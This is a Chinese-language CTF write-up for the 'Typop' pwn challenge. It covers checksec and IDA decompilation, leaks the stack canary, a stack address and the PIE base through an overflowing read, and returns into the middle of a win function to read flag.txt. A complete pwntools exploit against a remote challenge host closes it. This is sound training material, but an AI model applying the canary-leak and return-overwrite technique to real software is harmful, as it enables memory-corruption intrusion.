# Typop 题目解析

# 题目分析

​ 我们拿到题目之后,首先要去查看题目附件的相关情况 —— 检查保护机制以及 ELF 属性

$ checksec --file=chall
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   76) Symbols	  No	0		3		chall
$ file chall
chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=47348e907e6bd456810c6015278d5e43110c8318, for GNU/Linux 3.2.0, not stripped

64 位的程序,保护机制基本上是全打开了,接下来就是要进行代码分析了,直接上 IDA_PRO

个人习惯,我自己打开题目后,习惯 shift+F12 看看字符串有没有 /bin/sh 或者 flag 之类的

这个题目没有,但是注意到左侧函数列表又 win 函数。

unsigned __int64 __fastcall win(char a1, char a2, char a3)
{
  FILE *stream; // [rsp+18h] [rbp-58h]
  _BYTE filename[10]; // [rsp+26h] [rbp-4Ah] BYREF
  char s[8]; // [rsp+30h] [rbp-40h] BYREF
  __int64 v7; // [rsp+38h] [rbp-38h]
  __int64 v8; // [rsp+40h] [rbp-30h]
  __int64 v9; // [rsp+48h] [rbp-28h]
  __int64 v10; // [rsp+50h] [rbp-20h]
  __int64 v11; // [rsp+58h] [rbp-18h]
  unsigned __int64 v12; // [rsp+68h] [rbp-8h]
  v12 = __readfsqword(0x28u);
  filename[9] = 0;
  filename[0] = a1;
  filename[1] = a2;
  filename[2] = a3;
  strcpy(&filename[3], "g.txt");
  stream = fopen(filename, "r");
  if ( !stream )
  {
    puts("Error opening flag file.");
    exit(1);
  }
  *(_QWORD *)s = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0LL;
  fgets(s, 32, stream);
  puts(s);
  return __readfsqword(0x28u) ^ v12;
}

做一个简单的处理后,也许可以打开 flag.txt 文件,拿到 flag, 这就是这个题目的后门。

程序的主函数很简单,调用了 getFeedback

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  while ( puts("Do you want to complete a survey?") && getchar() == 121 )
  {
    getchar();
    getFeedback();
  }
  return 0;
}

我们关注的是这里

unsigned __int64 getFeedback()
{
  __int64 buf; // [rsp+Eh] [rbp-12h] BYREF
  __int16 v2; // [rsp+16h] [rbp-Ah]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]
  v3 = __readfsqword(0x28u);
  buf = 0LL;
  v2 = 0;
  puts("Do you like ctf?");
  read(0, &buf, 0x1EuLL);	
  printf("You said: %s\n", (const char *)&buf);
  if ( (_BYTE)buf == 121 )
    printf("That's great! ");
  else
    printf("Aww :( ");
  puts("Can you provide some extra feedback?");
  read(0, &buf, 0x5AuLL);
  return __readfsqword(0x28u) ^ v3;
}

函数里面第一个输入的地方,我们可以输入 0x1e 字节,但是 v2+buf 一共才 10 字节,程序是开启了 canary 检查的,v3 保存的就是 canary 的值

v3 = __readfsqword (0x28u); // 这条语句就是在设置 canary,每个程序,一次生命周期内,canary 一般是不会改变的,不同的函数内,如果有 canary,都是相同的,而且,最低字节是 \x00

下面还输出了 buf 的内容,配合溢出,就可以把 canary 泄露出来了。

canary 的检查是在函数返回的时候,比如这里,检查的原理,就是比较 v3 与全局中 canary 的值是否一致,C 语言中字符串是以 \x00 结束的,而 canary 第一字节,就是 \x00,所以,如果我们将其覆盖位其他的,就可以将 canary 的剩下 7 字节都输出出来,就可以获取到 canary 的值了,第二次 read 的时候,将 canary 的值再写回去。

这里所示(read 之前),0x7fffffffe268 的位置,就是 v3,保存的 canary,最低字节是 \x00,

image-20230202230844790

​ 我们输入 10 个 a 以及回车后,我们开单到 canary 的第一字节被修改为了 \x0a (换行符),那么,就 printf 可以将 canary 泄露出来了。同时还泄露了 stack 地址。(两个图 rsp 不一样是因为,第二张图的断点位置是在 read 函数里面,不是 getFeddback)

​ 而第二个 read 的位置也是有溢出的,结合前面我们掌握到的,程序有后门,那就是 ret2text 了,但是由于程序开启了 PIE 地址随机化,text 段上的函数地址,不是真实的,所以我们还需要泄露出程序的基地址。

​ 因为再 main 函数里,可以循环调用 getFeedback,我们在 getFeedback 第一次 read 的时候,把 buf 一直到 rbp 都覆盖掉,我们就可以输出 rbp+8 这里的 main+55 的返回地址,这个就是有 text 地址加上程序基址 0x55555....000 得到的,而且,只有低 12 字节是跟 ida 里面看到的一样,也就是最后三个数字。通过简单的加减法,可以得到基地址,0x555555555447 -0x447 就是程序基地址,win 地址等于基址 + 低 12 位(0x249)

​ 然后第二次 read 的时候,恢复 canary 同时修改返回地址为后门地址。但是,这里不可以直接用 win 地址,而是要使用他里面的一个地址。因为 win 函数要接收三个参数,然后 strcpy 到变量里。

​ 这里其实是不推荐使用 rop 来设置 rdi,rsi,rdx 寄存器的,因为程序没有 pop rdx 的 gadget,虽然,题目也可以泄露 libc 的基地址,但是由于没有给 libc 的文件,所以不好搞到 pop rdx;ret; 这个 gadget

这里存在一个栈缓存,如果我们跳过 win 函数开头的一部分代码(push rbp;sub rsp,70h),就可以让 filename 变量指向上一个 getFeedback 函数的栈空间的对应位置,比如我们刚好 filename 的位置,跟我们在 getFeedback 的输入的位置重合。这里我们要做的是,最后一次覆盖的时候,要将 rbp 写为一个栈地址(泄露 canary 的同时可以得到)因为 filename 的定位是 rbp-0x4a.

.text:0000000000001249 F3 0F 1E FA                   endbr64
.text:000000000000124D 55                            push    rbp
.text:000000000000124E 48 89 E5                      mov     rbp, rsp
.text:0000000000001251 48 83 EC 70                   sub     rsp, 70h
.text:0000000000001255 89 F1                         mov     ecx, esi
.text:0000000000001257 89 D0                         mov     eax, edx
.text:0000000000001259 89 FA                         mov     edx, edi
.text:000000000000125B 88 55 9C                      mov     [rbp+var_64], dl
.text:000000000000125E 89 CA                         mov     edx, ecx
.text:0000000000001260 88 55 98                      mov     [rbp+var_68], dl
.text:0000000000001263 88 45 94                      mov     [rbp+var_6C], al
.text:0000000000001266 64 48 8B 04 25 28 00 00 00    mov     rax, fs:28h
.text:000000000000126F 48 89 45 F8                   mov     [rbp+var_8], rax
.text:0000000000001273 31 C0                         xor     eax, eax
.text:0000000000001275 48 C7 45 B6 00 00 00 00       mov     qword ptr [rbp+filename], 0
.text:000000000000127D 66 C7 45 BE 00 00             mov     [rbp+var_42], 0
.text:0000000000001283 0F B6 45 9C                   movzx   eax, [rbp+var_64]
.text:0000000000001287 88 45 B6                      mov     [rbp+filename], al
.text:000000000000128A 0F B6 45 98                   movzx   eax, [rbp+var_68]
.text:000000000000128E 88 45 B7                      mov     [rbp+filename+1], al
.text:0000000000001291 0F B6 45 94                   movzx   eax, [rbp+var_6C]
.text:0000000000001295 88 45 B8                      mov     [rbp+filename+2], al
.text:0000000000001298 C6 45 B9 67                   mov     [rbp+filename+3], 67h ; 'g'			
.text:000000000000129C C6 45 BA 2E                   mov     [rbp+filename+4], 2Eh ; '.'
.text:00000000000012A0 C6 45 BB 74                   mov     [rbp+filename+5], 74h ; 't'
.text:00000000000012A4 C6 45 BC 78                   mov     [rbp+filename+6], 78h ; 'x'
.text:00000000000012A8 C6 45 BD 74                   mov     [rbp+filename+7], 74h ; 't'
.text:00000000000012AC 48 8D 45 B6                   lea     rax, [rbp+filename]	// 如果我们控制好了输入的内容,直接把返回地址设置到这里,
.text:00000000000012B0 48 8D 35 51 0D 00 00          lea     rsi, modes                      ; "r"
.text:00000000000012B7 48 89 C7                      mov     rdi, rax                        ; filename
.text:00000000000012BA E8 81 FE FF FF                call    _fopen
.text:00000000000012BA

getFeedback 结束时,程序会执行 leave ;ret

leave = mov rsp,rbp; pop rbp;

这里就会重新设定 rbp 寄存器的值,比如说这样,我们一般说的覆盖掉 rbp 其实值得是,覆盖带哦 rbp 寄存器里地址空间的数据,也就是覆盖掉 0x7ffc07998578 这个地址空间的数据。执行 leave 的时候,rbp 的值会变成原来指针指向的数据,下面的情况,就是,执行之后,rbp 会变成 0x515ac84424df7c8e。

0c:0060│     0x7ffc07998570 ◂— 0x50ceee2736e17000
0d:0068│ rbp 0x7ffc07998578 ◂— 0x515ac84424df7c8e
0e:0070│     0x7ffc07998580 ◂— 0x7ffc00000000

我们控制我们最后一次输入的时候的 ebp 对应的栈上数据,比如我们在那里写为 A,返回后,rbp 就等于 A 了。

下面的图,我写了一个差不多的位置。

image-20230202233337428

上图是我们在泄露完程序基地址后的,第二次执行 read 之前的栈空间,我们看到我们的输入的位置是在这里,然后我们看看 win 里面,我们如果跳过前面的代码,直接返回到 0x12ac 的位置

image-20230202233616518

我们看到,filename 地址与我们输入点偏移是 0x56e-0x53e=0x30 字节,所以,最后一次输入的时候,最开始的位置为要填充 0x30 字节后,在写上 "flag.txt", 同时记得恢复 canary,覆盖返回地址我们直接返回到这里。既可以执行下去,输出 flag 了。有兴趣的话,可以自己调试下,用哪一个栈地址,覆盖 rbp 更好用。

# 完整的 exp

from pwn import *
context.log_level = 'debug'
#r=process('./chall')
r=remote("81.68.85.214",8006)
r.sendlineafter("to complete a survey?",'y')
r.sendlineafter("Do you like ctf?",b'yaflag.txt')
r.recvuntil(b'yaflag.txt')
canary = u64(r.recv(8))-0xa				#因为最低字节被换行覆盖,恢复就是 - 0xa
stack = u64(r.recv(6).ljust(8,b'\x00'))		#泄露出一个栈地址,
info("canary:"+hex(canary))
info("stack :"+hex(stack))
pad = b'a'*10+p64(canary)
r.send(pad)
#gdb.attach(r,"brva 0x12BA\nbrva 0x13F4")
r.sendlineafter("to complete a survey?",'y')
r.sendafter("Do you like ctf?",b'y'*0x1a)
r.recvuntil(b'y'*0x1a)
base_add = u64(r.recv(6).ljust(8,b'\x00'))-0x447		#低 12 字节地址是真实有效的,
pop_rdi = base_add+0x0004d3
info("base_add:"+hex(base_add))
pad = b'flag.txt\x00\x00'+p64(canary)		#恢复 canary
pad +=p64(stack+0x58)			#覆盖 rbp 指向的空间的数据,这里可以自行调试,更改的话要改变下 "flag.txt" 的位置,最好是 8 字节对齐。
pad += p64(base_add+0x2ac)		#覆盖返回地址
pad +=b'\x00'*14			#到此,一共是 0x30 字节
pad += b'flag.txt\x00'+p64(canary)*8	#canary 是垃圾
r.send(pad)
r.interactive()